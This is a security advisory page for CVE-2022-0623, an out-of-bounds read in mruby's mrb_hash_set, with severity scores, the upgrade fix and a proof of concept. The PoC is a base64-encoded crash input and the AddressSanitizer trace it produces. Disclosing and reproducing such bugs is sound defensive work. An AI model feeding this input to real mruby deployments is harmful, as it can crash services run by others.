Out-of-bounds Read Affecting mruby/mruby package, versions [,3.2.0)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.4% (74th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-MRUBYMRUBY-5498635
  • published8 May 2023
  • disclosed8 May 2023
  • creditPocas

Introduced: 8 May 2023

CVE-2022-0623  (opens in a new tab)
CWE-125  (opens in a new tab)

How to fix?

Upgrade mruby/mruby to version 3.2.0 or higher.

Overview

Affected versions of this package are vulnerable to Out-of-bounds Read due to missing checks in the in the mrb_hash_set function.

PoC

$ echo -ne "e30KWyoqMCxtOjBdBHM9MDYudGl0ZXN7My7+////c3slXSN7W11lYWsKYj17fQpbKiowLG06MF3/
f///jn11EHRpbC1icmWeawpiPXt99FsqKkBidWYwXX9zPTB9XX1hLiF+IBD///wAAPoAoqKion19
AACA/wENXH9dXGM/ICphID0gKCkgYW1iZCVcX0JO//4AACA8ACpbAAB7KQ==" | base64 -d > poc
$ cat poc
{}
[**0,m:0]s=06.tites{3.����s{%]#{[]eak
b={}
[**0,m:0]����}util-bre�k
\]\c? *a = () ambd%\_BN�� <*[{)#
$ ./bin/mruby ./poc
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1898947==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000011 (pc 0x00000059dca6 bp 0x7ffd8e5ac2b0 sp 0x7ffd8e5ab390 T0)
==1898947==The signal is caused by a READ memory access.
==1898947==Hint: address points to the zero page.
    #0 0x59dca6 in mrb_check_frozen /root/fuzz/mruby/include/mruby.h:1418:7
    #1 0x59dca6 in hash_modify /root/fuzz/mruby/src/hash.c:1154:3
    #2 0x59dca6 in mrb_hash_set /root/fuzz/mruby/src/hash.c:1242:3
    #3 0x4e5273 in mrb_vm_exec /root/fuzz/mruby/src/vm.c:2771:9
    #4 0x4d77de in mrb_vm_run /root/fuzz/mruby/src/vm.c:1128:12
    #5 0x5e83a2 in mrb_load_exec /root/fuzz/mruby/mrbgems/mruby-compiler/core/parse.y:6883:7
    #6 0x5e9293 in mrb_load_detect_file_cxt /root/fuzz/mruby/mrbgems/mruby-compiler/core/parse.y:6926:12
    #7 0x4cb88b in main /root/fuzz/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:357:11
    #8 0x7fb293420564 in __libc_start_main csu/../csu/libc-start.c:332:16
    #9 0x41d7ad in _start (/root/fuzz/mruby/bin/mruby+0x41d7ad)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/fuzz/mruby/include/mruby.h:1418:7 in mrb_check_frozen
==1898947==ABORTING

References

CVSS Scores

version 3.1